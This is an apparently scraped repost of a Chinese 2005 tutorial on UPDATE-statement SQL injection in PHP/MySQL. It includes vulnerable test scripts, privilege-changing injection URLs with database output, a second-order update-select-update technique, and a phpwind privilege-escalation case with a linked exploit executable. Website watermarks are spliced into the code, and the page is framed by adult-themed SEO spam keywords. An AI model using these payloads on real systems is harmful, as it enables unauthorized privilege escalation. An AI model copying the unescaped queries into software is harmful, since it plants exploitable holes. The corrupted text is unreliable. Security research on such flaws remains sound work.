亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

UPDATE注射(mysql+php)的兩個模式

瀏覽:5日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質:原創(chuàng)發(fā)布日期:2005-08-14

一、測試環(huán)境網(wǎng)管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測試數(shù)據(jù)庫結構

-- 數(shù)據(jù)庫: `test`--

-- --------------------------------------------------------

---- 表的結構 `userinfo`--網(wǎng)管網(wǎng)www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網(wǎng)管u家u.bitsCN.com

---- 導出表中的數(shù)據(jù) `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測試模式

1、變量沒有帶''或''中國網(wǎng)管聯(lián)盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫連接失敗');中國網(wǎng)管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒有使用單引號

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國網(wǎng)管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶heige的groudid又2改為1了 :)

所以我們可以得到?jīng)]有''或''update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號中國網(wǎng)管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網(wǎng)管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關閉'我們構造$p應該為123456',groudid='2提交:中國網(wǎng)管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢:

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網(wǎng)管bitscn_com

groudid并沒有被修改。那么在變量被''或''時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數(shù)據(jù)庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號網(wǎng)管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數(shù)據(jù)寫入數(shù)據(jù)庫

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國網(wǎng)管聯(lián)盟bitsCN.com

?>

我們測試下,提交:網(wǎng)管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下 :網(wǎng)管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update

四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網(wǎng)管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標簽: PHP
主站蜘蛛池模板: 亚洲精品国产一区二区三区四区 | 国产精品国产色综合色 | 国产在线精品福利一区二区三区 | 国产成人综合久久精品红 | 国产精品国产福利国产秒拍 | 日本黄色高清视频 | 欧美影院天天5g天天爽 | 亚洲国产美女精品久久 | 欧美一区二区三区成人看不卡 | 妖精视频国产 | 97国产在线观看 | 日本精品久久久久中文字幕2 | 毛片网在线| 国产美乳在线观看 | 香蕉福利久久福利久久香蕉 | 欧美一级黄色毛片 | 国产成人精品高清不卡在线 | 三级大片在线观看 | 欧美成人免费在线观看 | 免费中文字幕一级毛片 | 精品国产免费一区二区三区 | 成人在线视频网址 | 中文一级国产特级毛片视频 | 视频在线一区 | 欧美精品一级毛片 | 青青自拍视频一区二区三区 | 国产成人综合久久综合 | 亚洲国产精品久久卡一 | 999国产一区二区三区四区 | 婷婷综合亚洲 | 国产精品久久久久国产精品三级 | 亚洲国产一 | 日韩免费一级毛片欧美一级日韩片 | 伊人影视在线观看日韩区 | 日本不卡高清免费v日本 | 一级毛片高清 | 久久99爰这里有精品国产 | 中文在线 | 中文 | 黄色一及| 欧美日韩精品一区二区三区视频播放 | 欧美成人免费毛片 |